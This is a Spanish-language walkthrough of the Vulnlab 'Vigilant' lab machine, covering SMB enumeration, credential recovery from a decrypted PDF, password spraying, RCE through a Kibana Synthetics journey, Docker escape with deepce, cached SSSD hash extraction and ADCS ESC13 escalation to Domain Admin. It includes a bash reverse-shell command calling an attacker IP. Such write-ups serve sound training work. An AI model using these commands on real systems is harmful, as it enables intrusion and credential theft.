Vigilant - Writeup (Vulnlab)
1 |
|
INFO & NMAP
Hints from Vulnlab:
1 | # User |
10.10.222.101 | WINDOWS
1 | PORT STATE SERVICE |
10.10.253.102 | LINUX
1 | PORT STATE SERVICE VERSION |
FOOTHOLD
SMB
Como no tenemos credenciales, lo primero que hago es enumerar SMB en busca de algún tipo de acceso. Verifico que el usuario GUEST está habilitado:
1 | nxc smb 10.10.222.101 -u 'guest' -p '' --shares |
Se encuentran dos carpetas, pero la más interesante y con contenido es ITShare:
1 | smbclient //10.10.222.101/ITShare -U 10.10.222.101\guest%'' |
Al parecer el contenido está relacionado con reportes y auditoría en AD, así que descargo todo para analizarlo localmente.
Para bajar todo sin que me pida confirmación en cada archivo:
1 | recurse on |
Dentro de la carpeta IT_Support/ADAuditReports hay un pdf Password_Strength_Report_encrypted.pdf
el cual parece estar encriptado.
Intenté crackearlo sin éxito, así que lo dejo por ahora y me enfoco en los otros archivos.
Busco referencias a palabras clave como username o password que puedan ayudarme a acceder al PDF u otro recurso:
1 | grep -rniE "username|password" . |
Al revisar ADAudit.DLL con dnSpy (emulándolo con WINE en mi caso), veo funciones de encriptado y chequeo de contraseñas débiles desde un .txt
. Lo mas importante es que encuentro credenciales:
Credenciales encontradas
Funcion de Encriptado de archivos:
Bloodhound Python y Desencriptando el PDF Report file
A partir de ahora contamos con dos posibles caminos, en principio enumero el AD para tener un mejor enfoque del entorno, con bloodhound-python obtengo la informacion para revisarla luego:
1 | bloodhound-python -u "svc_auditreporter" -p "<REDACTED>" -ns 10.10.222.101 -d "vigilant.vl" -c all --dns-tcp --zip |
Por otro lado, es posible tratar de crear un binario para revertir la funcion de encriptado que habiamos encontrado reverseando el DLL del Audit, y asi poder abrir el archivo del PDF Report.
Este es el codigo final que me funciono:
1 | using System; |
Desde un sistema Linux puede ser rapidamente compilado y ejecutado con mono, no hace falta un Windows:
1 | mcs -out:decoPdf.exe decoPdf.cs |
Finalmente podemos obtener el contenido del archivo que para sorpresa nuestra contiene varias credenciales:
Spraying de credenciales
Guardo las credenciales en users.txt
y pass.txt
, y hago un spraying:
1 | nxc smb 10.10.222.101 -u users.txt -p pass.txt --shares --continue-on-success |
Veo que la password de Pamela.Clark expiró en Windows, pero en Linux sigue funcionando. Intento loguear con:
Por ende probamos el ingreso y nos dice que tenemos que cambiarla, seteo uno nuevo y logueamos:
Una vez dentro, veo rastros de un Docker/Elastic Agent corriendo y referenciado al Domain Controller:
Elastic: Es una plataforma de búsqueda y análisis de datos en tiempo real. Su componente principal es Elasticsearch, que almacena, indexa y busca datos.
Kibana: Es la interfaz gráfica de Elastic. Permite visualizar y analizar los datos de Elasticsearch con gráficos, dashboards y herramientas interactivas.
Esta corriendo en el puerto 5601, en el output del DC podemos verlo:
Elastic/Kibana | 5601/tcp
Desde el browser accedo y reutilizo las credenciales de Pamela (las del PDF que habían expirado).
Una vez logueado lo primero que hago es revisar los roles y permisos. Vemos que Pamela tiene SUPERUSER role:
Ahora que tengo acceso a Kibana con permisos de SUPERUSER, el siguiente paso es investigar los Fleet Agents, que permiten la administración centralizada de agentes Elastic en los distintos hosts del dominio..
Este link de referencia me ayudo bastante para entender mejor: https://www.elastic.co/guide/en/fleet/master/fleet-overview.html
Accediendo aca podemos observar los agents: http://dc.vigilant.vl:5601/app/fleet/agents
Recordando las hints que daban al momento de iniciar la maquina veo que aplica lo siguiente:
- Get a shell via Synthetics (you will likely need the API as the UI does not allow everything)
Synthetics es una funcionalidad utilizada para monitorear y probar si un sitio web funciona correctamente. Permite la ejecución de scripts automatizados para simular interacciones de usuario y detectar posibles problemas de rendimiento o disponibilidad.
El uso de Kibana Synthetics nos permite ejecutar scripts en el entorno de Kibana. Si podemos modificar un monitor existente o crear uno nuevo con código malicioso, podríamos lograr RCE en el target.
Si nos dirijimos a http://dc.vigilant.vl:5601/app/synthetics, vemos lo siguiente:
Tenemos un monitor ya creado en la Pagina de Marketing. (Que es el server 80/http de la IP de Linux). Si probamos editar el monitor vemos que esta corriendo un script en el cual podriamos intentar modificarlo y ver que sucede:
Intente obtener una revshell con bash, pero obtuve un mensaje de error:
Runs Synthetic test scripts that are defined inline. Monitor script is invalid. Inline scripts cannot be full journey scripts, they may only contain step definitions.
Sin embargo, si trato de hacer un LFI con file:// funciona:
1 | step('Go to http://localhost', async () => { |
Creando una revshell journey via Synthetics
Pero como podria obtener una revshell?. Bueno perdi bastante tiempo buscando el modo para ser honesto. Luego de varias horas logre encontrarlo y es creando un journey.
Si queremos ejecutar código más allá de una simple verificación de carga de una página, no podemos depender solo de un monitor, ya que su función es limitada. En cambio, necesitamos un journey, que nos permite definir acciones más custom/avanzadas dentro del entorno de Synthetics, seria como un step-by-step.
Con un poco de ayuda de Google:
Reference:
Y otro poco de ayuda de ChatGPT realice estos pasos localemente en mi pc atacante:
1 | npx @elastic/synthetics init elasticRev |
Siguiendo el output, podemos generar una API KEY desde ese path:
Finalmente quedaria asi:
Modificando el example.journey.ts
creo lo siguiente:
1 | import { journey, step, monitor } from '@elastic/synthetics'; |
Solo resta hacer un PUSH del journey:
1 | npx @elastic/synthetics push --auth <API_KEY> |
En principio pense que todo estaba mal al ver esto, pero luego en la web vi los monitores creados:
Luego de unos minutos y con un netcat escuchando en el puerto 9000:
Como ya sabíamos, esto esta corriendo en un DOCKER. Y si leemos una vez mas la hint inicial de vulnlab:
- Escape the container
El camino esta muy claro, sabiendo que el agente de elastic es parte del grupo root:
1 | curl --unix-socket /run/docker.sock http://localhost/containers/json |
Vamos a explotar esto con una tool conocida DEEPCE:
Dejamos un netcat en el puerto 6000 en mi caso y desde el target descargamos el deepce.sh, le damos permisos de ejecucion y lo ejecutamos:
1 | ./deepce.sh --exploit SOCK --command "bash -c 'bash -i >& /dev/tcp/10.8.0.147/6000 0>&1'" |
Obtenemos la shell y también leemos la flag desde el USER.TXT. Pero nos damos cuenta que tenemos una shell bastante restringida. Generando una SSH en el ROOT podemos conectarnos desde nuestra maquina atacante y vamos a recibir la terminal estable y funcional.
Enumeracion & Cache_Credentials
Ejecuto linpeas.sh y nos arroja que el cache_credentials esta habilitado:
La opción cache_credentials = True
que aparece en la configuración de SSSD (System Security Services Daemon) significa que las credenciales de los usuarios autenticados se almacenan en caché localmente.
Esto permite autenticaciones sin conexión al AD, pero también expone la posibilidad de extraer hashes o credenciales desde /var/lib/sss/db/
, lo que podría ser explotado para ataques como pass-the-hash o escalada de privilegios.
En linux hay un comando llamado tdbdump
, que sirve para leer bases de datos TDB (Trivial Database). Referencia a una maquina de HTB: https://0xdf.gitlab.io/2023/04/01/htb-sekhmet.html
1 | tdbdump cache_vigilant.vl.ldb |grep cachedPassword |
Creamos un archivo para el hash y lo crackeamos con hashcat:
Chequeando los permisos desde Bloodhound
Si ahora retomamos con lo que al principio habiamos enumerado sobre el AD, observamos que GABRIEL.STEWART pertenece al grupo de JUNIORADMINS y este posee CanPSRemote :
Cuando intente conectarme me decia que la contraseña habia expirado asi que opte por cambiarla y use smbpasswd:
1 | smbpasswd -r vigilant.vl -U "gabriel.stewart" |
Ahora si logueo via evil-winrm:
1 | evil-winrm -i 10.10.222.101 -u gabriel.stewart -p '<REDACTED>' |
Escalada a Domain Admin vía ADCS (ESC13)
Mientras enumero el sistema, noto la presencia de Active Directory Certificate Services (ADCS):
Enumero con certipy y luego cargo los .json en bloodhound (con un fork de pki nodes for certipy):
1 | certipy find -vulnerable -u [email protected] -p "<REDACTED>" -dc-ip 10.10.222.101 -stdout |
Nuestro usuario tiene permisos de ENROLL sobre la plantilla VIGILANTADMINS. Dejo una referencia de una web muy completa y que me ayuda mucho en casos similares:
Reference: https://www.thehacker.recipes/ad/movement/adcs/
Este caso corresponde al ataque ESC13, que permite escalar privilegios abusando de una Issuance Policy mal configurada.
Si en un entorno con Active Directory Certificate Services (AD CS) encuentro una plantilla de certificado que tiene una Issuance Policy vinculada a un grupo privilegiado mediante msDS-OIDToGroupLink
, puedo abusar de esta configuración para escalar privilegios en el dominio.
Básicamente, si puedo obtener un certificado basado en esta plantilla, mi cuenta (usuario o máquina) heredará los privilegios del grupo vinculado, lo que puede significar acceso total al dominio.
Hay un script .ps1 que me va a permitir verificar esto rapidamente:
https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1
El contexto del output es bastante claro pero si buscamos sobre Temporary Admins:
Considerando esto, nos permitiría obtener privilegios de administrador en el DC.
Por ende solo deberiamos solicitar el certificado con CERTIPY de la siguiente manera:
1 | certipy req -u 'gabriel.stewart' -ca vigilant-CA -target DC.vigilant.vl -template 'VigilantAdmins' -dc-ip 10.10.222.101 -key-size 4096 |
1 | certipy auth -pfx gabriel.stewart.pfx -dc-ip 10.10.222.101 |
Y finalmente:
1 | export KRB5CCNAME=gabriel.stewart.ccache |
Como ya tenemos el ticket, podemos loguear directamente con evil-winrm y configurando un realm en /etc/krb5.conf
1 | [libdefaults] |
1 | evil-winrm -i dc.vigilant.vl -r vigilant.vl |